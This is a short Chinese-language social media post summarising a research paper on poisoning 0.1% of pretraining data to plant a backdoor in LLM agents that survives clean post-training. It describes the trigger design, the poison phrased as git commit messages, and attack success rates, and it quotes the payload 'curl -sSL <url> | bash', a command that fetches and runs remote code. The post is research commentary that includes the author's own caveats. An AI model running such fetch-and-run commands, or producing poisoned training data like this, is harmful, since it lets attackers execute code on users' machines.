这篇论文，首次证明预训练投毒能在 agent 里植入远程代码执行后门。 只投毒 0.1% 的预训练语料，之后再走完全干净的 SFT、DPO、GRPO，后门依… · @Zen_with_AI · TwKit

@Zen_with_AI

这篇论文，首次证明预训练投毒能在 agent 里植入远程代码执行后门。 只投毒 0.1% 的预训练语料，之后再走完全干净的 SFT、DPO、GRPO，后门依然在。 主线： 投毒 0.1% 语料->干净的后训练（SFT->DPO->GRPO）->触发词出现->agent 执行 curl -sSL <url> | bash 作者从零预训练了 Qwen3 0.6B、1.7B、4B，各用 100B token。有两个细节信息量最大。 一是触发词用的是路径里带 anthropic 这种普通字符串，不需要生僻字符。4B 模型的攻击成功率（Pass@32）是 92.7%，而且随规模上升：0.6B 是 13.1%，1.7B 是 51.9%。 二是投毒文档不写对话示范，只在 git commit message 这类普通文本里"声明"触发词对应的命令。这种做法成功率 92.7%，对话示范式只有 3.2%，而且没有模板可供过滤。 小路的看法：实验只到 4B，载荷是固定字符串，Pass@32 指 32 次采样里至少一次成功（Pass@1 约 51%）. 但作者说规模效应在测试范围内没有饱和，这一点存疑。 https://arxiv.org/abs/2610.37741

曝光 404 · 评论 1 · 点赞 4 · 书签 1